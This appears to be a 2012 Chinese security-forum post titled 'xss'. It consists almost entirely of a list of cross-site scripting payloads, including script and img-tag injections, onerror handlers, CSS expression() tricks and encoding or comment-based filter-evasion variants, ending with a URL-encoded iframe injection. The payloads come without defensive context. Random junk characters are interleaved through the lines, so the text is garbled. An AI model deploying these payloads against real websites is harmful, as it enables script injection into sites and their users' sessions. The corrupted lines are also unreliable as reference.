找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2368|回复: 0
打印 上一主题 下一主题

xss

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:09:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<script>alert("跨站")</script>    (最常用)
$ T, r# ?+ B) {; U0 k<img scr=javascript:alert("跨站")></img>1 e; L; [7 U/ X8 O; Y
<img scr="javascrip&#116&#58 alert(/跨站/)></img>
$ U5 u/ A/ l9 r$ r6 r/ ?1 Q0 y3 a<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格)
( U+ G* V- C$ p<img scr="#" onerror=alert(/跨站/)></img>& h! O9 Y* V0 v" }8 T0 L
<img scr="#" style="xss:expression(alert(/xss/));"></img>9 m% r/ N; h% {6 _
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释)7 ?) ~. R% d: Q( c- ^0 O
<img src=vbscript:msgbox ("xss")></img>
& \: b$ v! q6 u2 m: L) L<style> input {left:expression (alert('xss'))}</style>2 ]$ H( Z/ x$ a$ T
<div style={left:expression (alert('xss'))}></div>
- t0 q3 L9 ]6 t: r) }<div style={left:exp/* */ression (alert('xss'))}></div>. c8 h% n/ w( @8 s  @6 {# x
<div style={left:\0065\0078ression (alert('xss'))}></div>$ X. Q& z- u/ ]! e& @
html 实体 <div style={left:&#x0065;xpression (alert('xss'))}></div>: k1 H7 w+ y% w
unicode <div style="{left:expRessioN (alert('xss'))}">3 u$ n4 ^7 N/ A( j

$ D  r( k5 D% l( J9 l"]}%3Cscript%3Ealert('我又来啦!.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
3 ~0 `. @9 X  F' m6 J
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表